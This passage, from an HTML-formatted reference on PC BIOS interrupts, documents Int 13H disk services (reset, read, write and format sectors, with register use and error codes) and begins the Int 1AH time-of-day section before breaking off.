roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=07 as a bell. When used in a graphics mode, </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bl</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is made the foreground color.</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In text modes, the character attribute is left unchanged.</span></div>
<h2 dir="ltr" style="line-height: 1.295; margin-bottom: 13.9pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 17.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Interrupt 13H: BIOS Disk Services</span></h2>
<div dir="ltr" style="line-height: 1.295; margin-bottom: 8.95pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 0: Reset Disk System</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 12.1pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 0</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 11.8pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> =  set on error</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.8pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function resets the disk system, sending a reset command to the floppy disk controller.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 2: Read Sectors from Disk</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="280"></col></colgroup><tbody>
<tr style="height: 113px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-right: 7.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 2 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Number of sectors to read on same track, head </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cl </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Sector number to start reading from </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ch</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Track number to read </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dh</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Head number to read </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dl</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Drive number to read </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">es:bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Buffer to read sectors into</span></div>
</td></tr>
<tr style="height: 205px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns: </span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set on error</span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code, set as follows (for all Int 13H fctns)</span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">80 H - Disk drive failed to respond </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">40 H - Seek operation failed </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">20 H - Bad NEC controller chip </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">10 H - Bad CRC on disk read </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">09 H - 64K DMA boundary crossed </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">08 H - Bad DMA chip </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">06 H - Diskette changed </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">04 H - Sector not found </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">03 H - Write on write protected disk </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">02 H - Address mark not found on disk </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-left: 18pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">01 H - Bad command sent to disk i/o</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.9pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 2 reads sectors from the specified disk at a given Track, Head and Sector number into a buffer in RAM. A successful read returns </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=0 and no carry flag. If there is an error, the carry flag is set and </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is used to return an error code. Note that no waiting time for motor startup is allowed, so if this function returns an error, it should be tried up to three times.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 3: Write Sectors to disk</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="278"></col></colgroup><tbody>
<tr style="height: 113px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-right: 2.6pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 3 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Number of sectors to write on same track, head </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cl </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Sector number to start writing from </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ch</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Track number to write </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dh</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Head number to write </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dl</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Drive number to write </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">es:bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Buffer to write sectors from</span></div>
</td></tr>
<tr style="height: 36px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: middle;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set on error </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code (as above)</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.8pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function works just like the read, except sectors are written to disk from the specified buffer</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 5: Format Sectors</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="278"></col></colgroup><tbody>
<tr style="height: 113px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0.05pt; margin-right: 2.35pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 5 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Number of sectors to format on this track, head </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cl</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Not used </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ch</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Track number to format </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dh</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Head number to format </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dl </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= Drive number to format </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">es:bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Buffer for special format information</span></div>
</td></tr>
<tr style="height: 36px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: middle;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set on error </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code (as above)</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The buffer at </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">es:bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> should contain 4 bytes for each sector to be formatted on the disk. These are the address fields which the disk controller uses to locate the sectors during read/write operations. The four bytes should be organized as C,H,R,N;C,H,R,N, etc., where C=Track number, H=Head number, R=Sector number, N=Bytes per sector, where 0=128, 1=256, 2=512, 3=1024.</span></div>
<h2 dir="ltr" style="line-height: 1.295; margin-bottom: 13.9pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 17.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Interrupt 1AH: BIOS Time of Day Services</span></h2>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 0: Read Current Clock Setting</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="233"></col></colgroup><tbody>
<tr style="height: 21px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
